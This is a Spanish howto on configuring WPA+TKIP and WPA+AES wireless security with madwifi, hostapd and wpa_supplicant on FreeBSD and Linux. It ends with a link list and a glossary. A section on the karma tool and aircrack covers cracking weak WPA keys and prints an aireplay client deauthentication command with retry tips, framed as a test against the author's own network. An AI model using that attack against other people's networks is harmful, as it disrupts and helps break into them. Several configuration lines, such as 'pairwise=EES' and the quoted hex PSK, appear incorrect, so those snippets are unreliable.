Para empezar vamos a configurar WPA+TKIP en sistemas FreeBSD. (a continuación lo haremos para *Linux) Como hemos visto anteriormente los drivers que el proyecto madwifi hace para los chips Atheros están incluidos en las fuentes del kernel y deben de ser habilitados. Nos remitimos pues al principio del Caso B del apartado ANTECEDENTES Software y hardware en el que se explica como hacerlo.

A continuación es necesario instalar el programa wpa_supplicant que podemos encontrar en los ports /usr/ports/security/wpa_supplicant en el caso de los sistemas FreeBSD y en los repositorios de la distribución *Linux que se esté usando. Es probable que para Debian/Linux esté disponible en los repositorios de apt, para Gentoo/Linux estará en los ports disponible para emerge y en todo caso se puede acudir a las fuentes en este enlace:

 http://hostap.epitest.fi/wpa_supplicant/

las fuentes disponibles en esta sitio son válidas para *Linux, FreeBSD, NetBSD. También están disponibles binarios para sistemas Windows. Todo ello es software abierto y bajo licencia BSD. Una vez instalado wpa_supplicant dispondremos de los comandos wpa_supplicant, wpa_passphrase y wpa_cli

Es aconsejable leer el todo el contenido de esta web que explica muy bien los protocolos disponibles para los chips de los que se ocupa. En ella es posible conseguir también un archivo /etc/wpa_supplicant.conf de ejemplo, muy bien comentado.

Si queremos implementar WPA en el PC-1 (como lo especificado en el Caso B) que actúa como punto de acceso, necesitaremos también el programa hostapd que estará en /usr/ports/security/hostapd en los sistemas FreeBSD.

En el caso de utilizar el método especificado en el Caso A, el módem router ADSL (o cable) facilitado por nuestra ISP debe de soportar WPA + TKIP y a ser posible también AES

Una vez instalado hostapd y wpa_supplicant vamos a generar una clave.

WPA es más seguro que WEP (y más aun si usamos claves complicadas con muchos caracteres), los desarrolladores de madwifi aconsejan usar claves con ¡¡ un mínimo de 64 caracteres !!, de hecho aconsejan usar la utilidad wpa_passphrase que se instala junto a wpa_supplicant de esta forma:

 wpa_passphrase policewomankiss "Some_Decent_PassPhrase_of_up_64_Characters" >> /etc/wpa_supplicant.conf

para generar una clave "decente" y añadirla al /etc/wpa_supplicant.conf que debiera de quedar así:

 network={
  ssid="policewomankiss"
  #psk="Some_Decent_PassPhrase_of_up_64_Characters"
  psk=701459761a3d17c5ddead0deafbeeffeedbadf00dc659db31e2e3d36f00a12b1
 }

Podéis contar los caracteres si os place, pero wpa_passphrase lo hace bien. y aun así "alguien" con suficiente tiempo, paciencia, un buen diccionario y una buena máquina, puede llegar a romperla con técnicas que veremos en los siguientes apartados.

Seguimos adelante creando o modificando el archivo /etc/hostapd.conf con la siguiente orden para editar el archivo e incluir los datos que se muestran.

 # vim /etc/hostapd.conf

 interface=ath0
 driver=bsd
 logger_syslog=-1
 logger_syslog_level=0
 logger_stdout=-1
 logger_stdout_level=0
 debug=4
 dump_file=/tmp/hostapd.dump
 ctrl_interface=/var/run/hostapd
 ctrl_interface_group=wheel
 ssid=policewomankiss
 wpa=1
 wpa_passphrase=701459761a3d17c5ddead0deafbeeffeedbadf00dc659db31e2e3d36f00a12b1
 wpa_key_mgmt=WPA-PSK
 wpa_pairwise=TKIP

hemos añadido el nombre del AP y la clave generada en el apartado anterior, cerramos guardando los cambios y ejecutamos las siguientes órdenes:

 # /usr/sbin/hostapd /etc/hostapd.conf

para levantar el daemon hostapd y ..

 # ifconfig ath0 mediaopt hostap

para levantar nuestra interface wifi (la del PC-1) como punto de acceso al que se pueden asociar los clientes.


A continuación ya podemos configurar los clientes, en este caso PC-2 y PC-3, hacemos un scan* para ver si efectivamente aparece nuestro AP.

 # ifconfig ath0 up scan

 SSID BSSID CHAN RATE S:N INT CAPS
 thingoldedoriath 00:11:95:c3:0d:ac 1 54M 19:0 100 ES
 policewomankiss 00:13:46:49:41:76 6 54M 30:0 100 EPS WPA WME

Es el momento de explicar algo sobre los las siglas que figuran debajo del campo CAPS como prometimos anteriormente. Si nos fijamos en las de la línea "policewomankiss" veremos que aparecen las letras EPS. Pues bien esta es la explicación de las siglas:

 E significa: Sistema Extendido de Servicio (ESS). Indica que la estación es parte de una red de infraestructura (en contraste con una red de IBSS/ad-hoc).

 I significa: Red de IBSS/ad-hoc. Indica que la estación es parte de una red ad hoc (en contraste con una red de ESS).

 P significa: que este BSS requiere que el AP utilice medios criptográficos tales como WEP, TKIP o Aes-ccmp a los marcos de los datos de encrypt/decrypt que son intercambiados por otros. Esto es, que los clientes del AP deben usar los mismos protocolos de encriptación que el propio AP. En todo caso, es obligado que los datos que circulan en esta red BSS, tanto los que se usan para autenticar clientes contra el AP como para las posteriores transferencias de archivos, deben de estar encriptados con el protocolo que se elija.

 S significa: Preámbulo Corto. Indica que la red está utilizando los preámbulos cortos (definidos en 802.11b Rate/DSSS alto PHY, utiliza un campo de sincronización de 56 bits en contraste a un campo de 128 bits usado en el preámbulo largo).


Una vez que vemos nuestro AP, editamos el archivo /etc/wpa_supplicant.conf y añadimos los datos que ya conocemos.

 # vim /etc/wpa_supplicant.conf

 network={
  ssid="policewomankiss"
  psk="701459761a3d17c5ddead0deafbeeffeedbadf00dc659db31e2e3d36f00a12b1"
 }

a continuación ejecutamos la orden:

 # wpa_supplicant -i ath0 -c /etc/wpa_supplicant.conf

para que wpa_supplicant asocie la información del archivo /etc/wpa_supplicant.conf al interface ath0 y procedemos a levantar y comprobar que se ha configurado correctamente.

 # ifconfig ath0 inet 192.168.0.130 netmask 255.255.255.0

 # ifconfig -v ath0

 ath0: flags=8843 mtu 1500
  inet6 fe80::211:95ff:fed5:4362%ath0 prefixlen 64 scopeid 0x1
  inet 192.168.1.130 netmask 0xffffff00 broadcast 192.168.1.255
  ether 00:11:95:d5:43:62
  media: IEEE 802.11 Wireless Ethernet autoselect (DS/11Mbps)
  status: associated
  ssid policewomankiss channel 1 bssid 00:11:95:c3:0d:ac
  authmode WPA privacy ON deftxkey UNDEF TKIP 2:128-bit TKIP 3:128-bit
  txpowmax 36 protmode CTS roaming MANUAL bintval 100

Es posible y quizá aconsejable usar DHCP, si nos ajustamos al Caso A es necesario que nuestro módem-ruoter tenga habilitado el servicio DHCPD, suelen tenerlo habilitado por defecto.

En el Caso B debemos hacer que nuestro PC-1 ejecute ese servicio, por lo tanto
debemos de configurar mínimamente el DHCPD o simplemente lo lanzamos con la configuración por defecto (suele ser válida). Tendremos que des-comentar unas líneas en el fichero vim /etc/rc.conf y lanzar el daemon dhcpd

No es un propósito de este howto ofrecer datos sobre la configuración del servidor DHCP, hay magníficos documentos en Internet que se ocupan de ello. Sólo mencionar aquí que de ésa configuración depende también en parte la seguridad de nuestra red. Podemos decirle al DHCP que adjudique unas determinadas IPs a determinadas máquinas, identificándolas por nombre, IP o MAC.


Configuramos las máquinas cliente en modo managed como ya sabemos. Podemos hacer una búsqueda.

 # ifconfig ath0 up scan

que nos mostrará algo como esto (siempre que haya redes activas y haciendo broadcasting de ESSID)

 SSID BSSID CHAN RATE S:N INT CAPS
 thingoldedoriath 00:11:95:c3:0d:ac 1 54M 19:0 100 ES
 policewomankiss 00:13:46:49:41:76 6 54M 30:0 100 EPS WPA WME

Una vez que vemos policewomankiss que es nuestro AP, al que queremos conectarnos, debemos de crear (o modificar) el archivo /etc/wpa_supplicant.conf con el siguiente contenido que obviamente ya conocemos (porque el administrador de la mini-lan nos ha facilitado los datos).

 # vim /etc/wpa_supplicant.conf

 network={
  ssid="policewomankiss"
  psk="701459761a3d17c5ddead0deafbeeffeedbadf00dc659db31e2e3d36f00a12b1"
 }

Si la máquina cliente corre un OS FreeBSD añadimos una línea al fichero /etc/rc.conf

 # vim /etc/rc.conf

 ifconfig_ath0="WPA DHCP"

Ejecutamos la orden:

 # /etc/rc.d/netif start

para levantar los interfaces de red y el wpa_supplicant, debiéramos de ver algo como esto:

 Starting wpa_supplicant.
 DHCPDISCOVER on ath0 to 255.255.255.255 port 67 interval 5
 DHCPDISCOVER on ath0 to 255.255.255.255 port 67 interval 6
 DHCPOFFER from 192.168.0.1
 DHCPREQUEST on ath0 to 255.255.255.255 port 67
 DHCPACK from 192.168.0.1
 bound to 192.168.0.254 -- renewal in 300 seconds.
 ath0: flags=8843 mtu 1500
  inet6 fe80::211:95ff:fed5:4362%ath0 prefixlen 64 scopeid 0x1
  inet 192.168.0.254 netmask 0xffffff00 broadcast 192.168.0.255
  ether 00:11:95:d5:43:62
  media: IEEE 802.11 Wireless Ethernet autoselect (OFDM/36Mbps)
  status: associated
  ssid policewomankiss channel 1 bssid 00:11:95:c3:0d:ac
  authmode WPA privacy ON deftxkey UNDEF TKIP 2:128-bit txpowmax 36
  protmode CTS roaming MANUAL bintval 100

podemos hacerlo de forma manual usando el mismo /etc/wpa_supplicant.conf que hicimos para el paso anterior, añadiremos en el /etc/rc.conf la línea:

 # vim /etc/rc.conf

 ifconfig_ath0="DHCP"

en este caso ejecutamos la orden:

 # wpa_supplicant -i ath0 -c /etc/wpa_supplicant.conf

si no surge ningún problema asociará los datos de configuración al interface ath0 y mostrará el resultado:

 Trying to associate with 00:11:95:c3:0d:ac (SSID='policewomankiss' freq=2412 MHz)
 Associated with 00:11:95:c3:0d:ac
 WPA: Key negotiation completed with 00:11:95:c3:0d:ac [PTK=TKIP GTK=TKIP]

después ejecutamos:

 # dhclient ath0

el servidor dinámico hará su trabajo y mostrará algunos mensajes informativos, si todo va bien será algo así:

 DHCPREQUEST on ath0 to 255.255.255.255 port 67
 DHCPACK from 192.168.0.1
 bound to 192.168.0.254 -- renewal in 300 seconds.

y una vez que DHCP ha adjudicado las IPs y la máscara, ejecutamos:

 # ifconfig ath0

para examinar los datos de nuestra interface y veremos algo muy parecido a esto:

 ath0: flags=8843 mtu 1500
  inet6 fe80::211:95ff:fed5:4362%ath0 prefixlen 64 scopeid 0x1
  inet 192.168.0.254 netmask 0xffffff00 broadcast 192.168.0.255
  ether 00:11:95:d5:43:62
  media: IEEE 802.11 Wireless Ethernet autoselect (OFDM/48Mbps)
  status: associated
  ssid policewomankiss channel 1 bssid 00:11:95:c3:0d:ac
  authmode WPA privacy ON deftxkey UNDEF TKIP 2:128-bit txpowmax 36
  protmode CTS roaming MANUAL bintval 100

Y por supuesto también podemos hacerlo sin usar DHCP, fijando la IP de forma estática si después de la orden:

 # wpa_supplicant -i ath0 -c /etc/wpa_supplicant.conf

ejecutamos algo que debiéramos de conocer y que recogemos a modo de recordatorio*

 # ifconfig ath0 inet 192.168.0.100 netmask 255.255.255.0

si ejecutamos:

 # ifconfig ath0

obtendremos los mismos resultados:

 ath0: flags=8843 mtu 1500
  inet6 fe80::211:95ff:fed5:4362%ath0 prefixlen 64 scopeid 0x1
  inet 192.168.0.100 netmask 0xffffff00 broadcast 192.168.0.255
  ether 00:11:95:d5:43:62
  media: IEEE 802.11 Wireless Ethernet autoselect (OFDM/48Mbps)
  status: associated
  ssid policewomankiss channel 1 bssid 00:11:95:c3:0d:ac
  authmode WPA privacy ON deftxkey UNDEF TKIP 2:128-bit txpowmax 36
  protmode CTS roaming MANUAL bintval 100

Si queremos salir* a Internet debemos de fijar la IP de rutéo o el gateway con la orden:

 # route add default IP_del_router o del_PC_que_hace_de_AP

y fijar la IP del servidor DNS editando el fichero /etc/resolv.conf lo más rápido es ejecutar:

 # echo "nameserver IP del servidor DNS" >> /etc/resolv.conf

También es posible asociar cualquier máquina a nuestro AP usando wpa_supplicant con WEP, sin encriptación alguna y con otras más complicadas que no son objeto de este documento y podéis ver en esta magnífica web.

KARMA


Aunque no es el tema central de este documento quiero mencionar este programa, porque está disponible para FreeBSD y Linux en este sitio web. karma se utiliza junto a otros programas que ya hemos mencionado para "romper" una clave WPA en un AP de una máquina Windows con todos los Service Packs posibles, como explica en este magnífico post Vic_Thor, por lo que a estas alturas del manual, algunas mentes pensantes sabrán que modificaciones son necesarias para utilizarlo contra máquinas que corren FreeBSD o Linux. No es fácil pero tampoco es imposible. Nosotros lo hemos probado contra el AP de nuestra mini-lan con una clave cortita (de 14 caracteres) y lo conseguimos. Con claves generadas por wpa_passphrase o variaciones de ellas (pero de 64 caracteres) no pudimos hacerlo en el tiempo de que disponíamos y después de configurar WPA+AES, tampoco. Pero siempre hay alguien que tiene más conocimientos, más experiencia más paciencia y todo el tiempo del mundo.

En la web de wadalbertia.org hay links para descargar el código fuente de karma, instrucciones para compilar el paquete, para configurarlo y para usarlo junto a otros programas. El post además, está profusamente ilustrado con capturas y como una imagen vale más que mil palabras, no nos extenderemos más. Visitad el sitio que por otro lado, dispone de muchos más contenidos y buenos links a otras webs interesantes. De hecho en este post de Bebbop figura una colección de enlaces que no olvida casi ningún programa relacionado con la "seguridad" para varios sistemas operativos. Sencillamente, no tiene desperdicio.

Con un poco de paciencia también podemos emplear técnicas que no requieren la instalación de programas nuevos* con aireplay en Linux podemos intentarlo con ataques más radicales. Se necesita más paciencia de la que dicen los que presumen de haberlo usado y los resultados son buenos si "la víctima" ha olvidado algunas medidas de seguridad básicas pensando que como su módem-router "ya viene con WPA", pueden dejar la clave por defecto del tipo 0987654321 o cambiarla por otras más fáciles de recordar (si es que existen) como
marisolsolsol o AnaMariaSolPlaya que recuerdan a las mujeres amadas*.

Como ya estábamos un poco cansados después de tanta "guerra aérea", probamos el famoso ataque 0 contra nuestro AP con WPA y clave de 64 caracteres y no lo conseguimos. Pero no dudamos de su eficacia contra otras configuraciones o incluso contra la nuestra, usado por alguien con más tiempo, paciencia o conocimientos.

DESAUTENTIFICACIÓN de CLIENTES LEGÍTIMOS


A esto también se le denomina ataque 0 y hace que los clientes legítimos tengan que volver a conectarse con el PA .. válido también para WPA ¡¡

aireplay -0 5 ath0 -a MAC_AP -c MAC_CLIENTE

A veces será necesario probar con diferentes velocidades.

iwconfig ath0 rate 54M

iwconfig ath0 rate 24M

y volver a repetir el ataque .....¡¡¡


Para solucionar este contratiempo podemos implementar WPA+AES, tal y como se explica en el siguiente apartado siempre que nuestra tarjeta wifi soporte tal cosa.

Es evidente que también debemos de tener disponible AES. Debe de estar habilitado el soporte para ese protocolo* de encriptación en el kernel, bien de forma estática o disponible como módulo para ser cargado bajo demanda cuando wpa_supplicant lo requiera. Es posible revisar los archivos .config en *Linux o el archivo GENERIC en FreeBSD para saber si disponemos de ese soporte o debemos de compilar un nuevo kernel para añadirlo.
Los archivos .config y GENERIC pueden tener otro nombre y encontrarse en otra ubicación, lo habitual es que estén en el directorio /boot/config-2.6.12 o, en /usr/src/linux-2.6.12/.config en los sistemas *Linux y en /usr/src/sys/i386/conf/GENERIC en los sistemas FreeBSD.

HABILITANDO WPA + AES en FreeBSD


En teoría el diseño para las partes de IEEE 802.11i que no fueron incluidas en WPA han acabado (mayo de 2004) y esta enmienda a IEEE 802.11 (IEEE 802.11i / RSN / WPA2) fue aprobada en junio de de 2004. La alianza Wi-Fi está utilizando el IEEE final 802.11i como nueva versión de WPA2 llamándola WPA. Esto incluye un algoritmo más robusto del cifrado CCMP:AES para substituir TKIP, con optimizaciones como un número reducido de mensajes en la pre-autentificación, y PMKSA.
El problema es que no todos los modelos de tarjetas wifi lo soportan (al menos sin servidor de autenticación Radius). De todas formas podemos probar a usar CCMP:AES en lugar de TKIP en FreeBSD cambiando un poco el archivo /etc/hostapd.conf dejándolo de esta forma:

 # vim /etc/hostapd.conf

 interface=ath0
 driver=bsd
 logger_syslog=-1
 logger_syslog_level=0
 logger_stdout=-1
 logger_stdout_level=0
 debug=4
 dump_file=/tmp/hostapd.dump
 ctrl_interface=/var/run/hostapd
 ctrl_interface_group=wheel
 ssid=policewomankiss
 wpa=2
 wpa_passphrase=701459761a3d17c5ddead0deafbeeffeedbadf00dc659db31e2e3d36f00a12b1
 wpa_key_mgmt=WPA-EAP
 wpa_pairwise=CCMP TKIP

cerramos guardando los cambios y procedemos en lo demás como en el apartado anterior. Si el AP soporta EAP funcionará y desde luego con CCMP:AES tendremos un plus de seguridad inmune al llamado "ataque 0" y con una menor carga para el sistema.
En caso de que no funcione de esta forma, siempre podemos probar la configuración EAP-TLS con un servidor de autenticación Radius. Necesitaremos el demonio radiusd. No es tema de este manual pero la información está disponible en la web de
freebsdmall, junto a otras implementaciones que tampoco abordamos aquí.

HABILITANDO WPA + TKIP en LINUX


La verdad es que madwifi dispone de mucha información (en inglés eso si) para Linux, en la web del proyecto tienen un apartado que llaman "wiki/UserDocs/Distro" en la que abordan la instalación de sus drivers en las distribuciones más conocidas. Resultaría muy largo abordar más de una en este documento así que, mostraremos una genérica y para el resto ponemos en el apartado SITIOS RELACIONADOS y WEBS de INTERÉS al final del howto los links a esos documentos, junto a otros de indudable interés.

Una vez que disponemos de las fuentes de los drivers madwifi, en el apartado
ANTECEDENTES Software y hardware Caso B explicamos como y de donde bajarlos, procedemos a descomprimir, compilar y instalar los drivers tal y como se explica en el mismo apartado.
A continuación bajamos también las fuentes del programa wpa_supplicant y las movemos al subdirectorio /usr/src/, descomprimimos y entramos en el subdirectorio recién creado:

 # cd /usr/src/wpa_supplicant-0.4.7/

y editamos el fichero .config que encontraremos ahí:

 # vim /usr/src/wpa_supplicant-0.4.7/.config

descomentamos las siguientes opciones sin tocar el resto del archivo

 CONFIG_DRIVER_MADWIFI=y
 CFLAGS += -I/usr/src/madwifi-ng
 CONFIG_CTRL_IFACE=y

cerramos el archivo guardando los cambios y compilamos el programa con las siguientes órdenes:

 make clean
 make
 make install

y editamos el archivo /etc/wpa_supplicant.conf para añadir los datos de nuestro AP.

 network={
  ssid="policewomankiss"
  #psk="Some_Decent_PassPhrase_of_up_64_Characters"
  psk=701459761a3d17c5ddead0deafbeeffeedbadf00dc659db31e2e3d36f00a12b1
 }

y comprobar que en la sección network están estas líneas, en caso contrario las creamos

 key_mgmt=WPA-PSK
 # proto=WPA
  proto=RSN

si comentamos la línea proto=RSN y des-comentamos proto=WPA, tendríamos WPA de esta forma disponemos de WPA2

Ahora es el momento adecuado para compilar el wpa_gui, un frotend para wpa_supplicant. Debemos editar de nuevo el archivo /etc/wpa_supplicant.conf añadir al principio (justo por encima de la sección network) del fichero estas líneas:

 ctrl_interface=/var/run/wpa_supplicant # wpa_supplicant keep its process ID number here
 ctrl_interface_group=wheel # all users of the given group (ie: `wheel') can contact the WPA supplicant

a continuación ejecutamos:

 # make wpa_gui

y movemos el binario resultante a un fichero del path con la orden:

 # mv wpa_gui /usr/local/bin

es importante que el usuario pertenezca al grupo de ctrl_interface_group que como vemos es el grupo wheel.

Y podemos seguir fijando los permisos del fichero /etc/wpa_supplicant.conf

 # chmod 640 /etc/wpa_supplicant.conf

Ahora procedemos a cargar los módulos y a levantar la interface wifi ejecutando las siguientes órdenes:

 # modprobe ath_pci
 # iwconfig ath0 essid "policewomankiss"
 # ifconfig ath0 192.168.0.100 up
 # /usr/local/bin/wpa_supplicant -dd -Dmadwifi -iath0 -c /etc/wpa_supplicant.conf

adjudicamos una IP e informamos al nuevo interface ath0 de la configuración de /etc/wpa_supplicant.conf para que la use. Debería de aparecer un mensaje parecido a este:

 State: GROUP_HANDSHAKE -> COMPLETED
 CTRL-EVENT-CONNECTED - Connection to 00:0f:b4:a1:3f:47 completed (auth)

Para saber si todo ha ido bien podemos ejecutar la orden:

 # iwconfig ath0

que debería de mostrarnos algo muy parecido a esto:

 ath0 IEEE 802.11g ESSID:"policewomankiss" Nickname:"YOUR_HOSTNAME"
  Mode:Managed Frequency:2.422GHz Access Point: 00:0D:B3:1A:E2:67
  Bit Rate:54Mb/s Tx-Power:18 dBm Sensitivity=0/3
  Retry:off RTS thr:off Fragment thr:off
  Encryption key:59B8-0286-FEED-DEAF-BEEF-F00D-192B Security mode:restricted
  Power Management:off
  Link Quality:43/94 Signal level:-52 dBm Noise level:-95 dBm
  Rx invalid nwid:3 Rx invalid crypt:0 Rx invalid frag:0
  Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Y esto es todo, en lo que a las máquinas cliente* se refiere. Si necesitamos matar el programa wpa_supplicant podemos hacerlo pulsando CTRL-C en el terminal donde lo ejecutamos o utilizar el la orden:

 # pkill wpa_supplicant

Si no disponemos de pkill podemos usar killall, skill o incluso el comando kill una vez conocido el número de proceso PID.

HABILITANDO WPA + AES en *Linux


Existen como no, varias formas de habilitar WPA + AES en las máquinas que corren OS Linux. Vamos a ofrecer la que madwifi propone como genérica*. Para ello, como ya dijimos anteriormente, es necesario disponer de soporte para AES y compilar wpa_supplicant para que soporte este protocolo de encriptación. Para ello editamos el archivo:

 # vim /usr/src/wpa_supplicant-0.4.7/.config

y des-comentamos o añadimos las siguientes líneas:

CONFIG_DRIVER_ATMEL=n
CONFIG_DRIVER_HOSTAP=n
CONFIG_DRIVER_IPW=n
CONFIG_DRIVER_MADWIFI=y
# Point this to your madwifi(-ng) sources
CFLAGS += -I/root/drivers/madwifi-ng
CONFIG_DRIVER_NDISWRAPPER=n
CONFIG_DRIVER_PRISM54=n
CONFIG_DRIVER_WEXT=y
CONFIG_DRIVER_WIRED=y
CONFIG_WIRELESS_EXTENSION=y

#CONFIG_DRIVER_NDIS=y
#CONFIG_DRIVER_HERMES=y
#CONFIG_DRIVER_BROADCOM=y

CONFIG_IEEE8021X_EAPOL=y

CONFIG_EAP_MD5=y
CONFIG_EAP_MSCHAPV2=y
CONFIG_EAP_FAST=y
CONFIG_EAP_TLS=y
CONFIG_EAP_PEAP=y
CONFIG_EAP_TTLS=y
CONFIG_EAP_GTC=y
CONFIG_EAP_OTP=y
CONFIG_EAP_SIM=y
CONFIG_EAP_PSK=y
CONFIG_EAP_PAX=y
CONFIG_EAP_LEAP=y
CONFIG_EAP_AKA=y

CONFIG_PKCS12=y
CONFIG_SMARTCARD=y
CONFIG_PCSC=y

CONFIG_CTRL_IFACE=y
CONFIG_READLINE=y

cerramos el archivo guardando los cambios y compilamos el programa con las siguientes órdenes:

 make clean
 make
 make install

Editamos el archivo /etc/wpa_supplicant.conf para añadir los datos de nuestro AP. y después continuamos con los mismos pasos que en el el apartado HABILITANDO WPA con TKIP en LINUX, a partir de este mismo punto.


HABILITANDO WPA + AES en Debian/Linux


Lo mismo que en el caso de FreeBSD tendremos que variar el contenido del fichero /etc/wpa_supplicant.conf
para ello lo editamos:

 # vim /etc/wpa_supplicant.conf

y sustituimos el contenido:

 # WPA-PSK/TKIP
 ctrl_interface=/var/run/wpa_supplicant
 network={
 ssid="policewomankiss"
 key_mgmt=WPA-PSK
 proto=WPA
 pairwise=TKIP
 group=TKIP
 psk="701459761a3d17c5ddead0deafbeeffeedbadf00dc659db31e2e3d36f00a12b1"
 }

por este otro:

 # WPA-PSK/AES
 ctrl_interface=/var/run/wpa_supplicant
 network={
 ssid="policewomankiss"
 key_mgmt=WPA-PSK
 proto=WPA
 pairwise=EES
 group=AES
 psk="701459761a3d17c5ddead0deafbeeffeedbadf00dc659db31e2e3d36f00a12b1"
 }

y repetimos los pasos del apartado HABILITANDO WPA + TKIP en LINUX para levantar los
interfaces con la nueva configuración.

FUENTES, BIBLIOGRAFÍA, SITIOS RELACIONADOS, y WEBS de INTERÉS


Los programas a veces se incluyen en las distribuciones, otras, están disponibles en los repositorios de los OS y en algunos casos, es necesario bajarlos de alguna parte, las webs de los equipos de desarrollo y otras que enlazan con estas últimas. El conocimiento también hay que buscarlo. A continuación encontraréis algunos links en los que se puede conseguir buen software y mucha información.

En FreeBSD se usan las bsd-airtools que incluye dstumbler, una herramienta del estilo kismet y el paquete dweputils, que contiene las herramientas dwepcrack, dwepdump y dwepkeygen. Las bsd-airtools también están disponibles en los ports de FreeBSD.

El paquete Aircrack, incluye los programas, aireplay, airodump, aircrack y otros.

El paquete Wireless-Tools, incluye los programas: iwconfig, iwpriv, iwspy, iwlist y otros.

Las fuentes del programa wpa_supplicant incluye el programa wpa_supplicant, wpa_passphrase y wpa_cli.

Un buen documento (muy académico) en formato PDF sobre WEP y WPA. Explica el significado de los campos que muestra airodump, las opciones de aircrack y como usarlos junto con aireplay. Gentileza de SurveR

Una web interesante sobre seguridad seguridadysistemas

Seguridad básica en wifi: infosecurityonline, el "verdadero alcance de las medidas de seguridad".

Seguridad cara airdefense, detección de accesos a la red wifi mediante sensores.

Los "malos" elhacker, taller de auditoría sobre
redes wifi. Dentro de una web muy completa y llenita de buenos documentos.

En Español FreeBSD wireless,
sección wifi del manual de FreeBSD en español.

En Inglés Wireless Network,
manual escrito por Sam Leffler" y loader,
acerca de la operación con WIFI en FreeBSD. Explica como levantar los interfaces wifi en los modos Infraestructura y Ad-hoc, desde lo más básico, así como le implementación de WEP, WPA y otros métodos de encriptación.

Un paisano (y sin embargo amigo) de Cambados, al suroeste de Galicia, donde nacen y se hacen los mejores vinos de la región, tiene una web con cosas interesantes. CHaiS

El proyecto madwifi tiene algunos links con documentación para
novatos, para
WPA, para gente con ganas de complicarse la vida un poco más
WPA+AES
en este otro link figuran todos loschips Atheros
soportados por el proyecto madwifi, es bueno visitarla ante de comprar una tarjeta de esta marca.

En este otro link se pueden encontrar los módulos de madwifi empaquetados en formato .deb para Debian/Linux y otras distribuciones basadas en Debian así como paquetes en formato .rpm para Fedora Core y otras basadas en Red Hat.deb_y_rpm.
En este otro link se encuentran instrucciones para instalar y configurar los módulos de madwifi en
Slackware y en esta otra para casi todas las demás distribuciones *Linux
Debian, Gentoo, Red Hat, Fedora Core, Ubuntu, SuSe y Mandrake

En esta web se puede encontrar un manual para usar
karma contra máquinas Windows incluso con WPA, escrito por "Vic_Thor" con capturas y una explicación muy clara.

El programa karma se puede usar en *Linux y FreeBSD, las fuentes se pueden descargar de aquí

En esta web hay links que apuntan a casi todos los programas que tienen algo que ver con la seguridad en OS *BSD *Linux y otros UNIX, recopilados por "Bebbop".

Para los que quieran un programa monitor "pequeño" parecido a wavemon, pero para FreeBSD, pueden encontrarlo en esta web. Se llama awmu, lo ha escrito "syvic" un antiguo*
joven compañero de trabajo. Está en versión beta, es probable que no lo termine nunca :-P, pero funciona muy bien.

Drivers Y Parches para varios chips wifi en Linux. Son versiones nuevas de los drivers es un buen sitio que se mantiene actualizado. Por otro lado el dominio en si es muy interesante, tienen talleres wifi incluida la seguridad.

Hablando de seguridad, esta web explica lo más básico en
seguridad para Slackware, además tiene un diseño agradable, un firewall básico y las instrucciones para hacerlo y ponerlo en los scripts de arranque. Un script de perl que "limpia de entradas de servicios inactivos en el /etc/inetd.conf, y otro que informa sobre los programas setuid y desactiva aquellos que no necesitan permisos especiales para ejecutarse. Este sitio no tiene desperdicio pero está en inglés :-(.

Cuando estaba corrigiendo y dando los últimos retoques a este howto, buscando algún documento serio* que sirviera para introducir un poco el tema de las antenas y la propagación electromagnética del que pienso escribir próximamente, encontré un magnifico documento escrito por Vic_Thor (el mismo que escribió el post de karma). El link para descargar el pdf está al principio de este howto. Pero a causa de ese pdf descubrí otro magnífico sitio que no debéis de dejar de visitar, hay de todo, también cosas para la seguridad en redes y en wifi. Se llama Los cuadernos de HackxCrack. No hay excusa para no darse una vuelta por este sitio cada poco.

Kismet, wine blog de luigys, porque también tenemos amigos que se ven "obligados" a usar aplicaciones hechas para Windows. Aquí habla de Kismet, de wine y de, Cross Over Office. Un plugin (de pago..) para wine, con el que se pueden instalar todos estos programas de Windows. Y del que se puede conseguir, una versión de prueba por 30 días rellenando un formulario
aquí.

Las antenas se puede comprar y también se pueden hacer. El bricolaje puede ser muy entretenido y sus resultados muy gratificantes para muchas personas. En este link encontraréis muchos enlaces a otras webs donde se pueden encontrar instrucciones para construir muchos tipos de
antenas, incluidas las que se hacen a partir de botes de cacao instantáneo o patatas fritas.

En este otro link encontraréis instrucciones claras y precisas para construir una
antena helicoidal de gran ganancia, barata y fácil de hacer. El autor no escatima en explicaciones, esquemas y fotografías.

Otra buena antena para la que se necesitan materiales sencillos de conseguir, herramientas no muy especializadas y algo de pericia. Es la segunda antena que construye y nos cuenta paso a paso y con fotografías como hacer una réplica de una antena cuyo nombre comercial es
Pacific Wireless "BackFire".

En esta se abordan conceptos más serios sobre antenas para VHF y UHF. Para conocer más sobre antenas de verdad

VOCABULARIO Y CONCEPTOS


WIFI:

WI-FI, wireless fidelity, tecnologías y protocolos que usan bandas de frecuencia "libres" dentro del espectro radioeléctrico, es decir, las bandas de frecuencia que no requieren licencias gubernamentales (generalmente las peores a efectos de propagación, estabilidad y fiabilidad)

ESPECTRO RADIOELÉCTRICO:

Espacio* en el que pueden transmitirse ondas electromagnéticas, es decir, todo aquello que está a nuestro alrededor (incluidas biosfera, ionosfera, atmósfera y partes de la estratosfera) que no está ocupado por elementos sólidos, algunos de estos elementos sólidos pueden ser traspasados por las ondas electromagnéticas (dependiendo de las frecuencias utilizadas), aunque se produzca alguna* atenuación de la señal al ser absorbida una parte de ella por estos elementos sólidos, naturales (colinas, montañas, bosques.. elementos atmosféricos como la lluvia o la niebla).

Artificiales estáticos (edificios, estructuras de transporte de energía eléctrica o telefonía alámbrica, antenas, estructuras ferroviarias), artificiales móviles (todo tipo de vehículos, trenes, coches, barcos, aviones..). Esto en lo que respecta al exterior, en el interior de las construcciones como viviendas por ejemplo, también existen un espectro radioeléctrico y obstáculos como se puede imaginar y los cuerpos humanos también pueden representar un obstáculo.

ONDAS ELECTROMAGNÉTICAS:

Perturbaciones* que se producen en el espectro radioeléctrico con suficiente fuerza como para producir una ondulación que cuando es permanente o repetida puede ocupar un espacio en él. Estas perturbaciones pueden ser de muchos tipos y producirse en muchas frecuencias invisibles e in-audibles, viajan a la misma velocidad que la luz (300000 Km/s redondeando..) y su alcance así como la calidad de su modulación dependen de un gran número de variables.

Una representación gráfica de como se propagan en el espacio* a partir del elemento radiante (antena), suele ser el que vemos cuando tiramos una piedrecilla en un estanque de aguas tranquilas. Donde cae la piedrecilla se produce una onda circular de una potencia (directamente proporcional al tamaño de la piedra y de la fuerza con que choque con el agua), veremos esa onda se va alejando del lugar del choque, creciendo en el perímetro de su circunferencia y disminuyendo en su fuerza* hasta que se pierde..
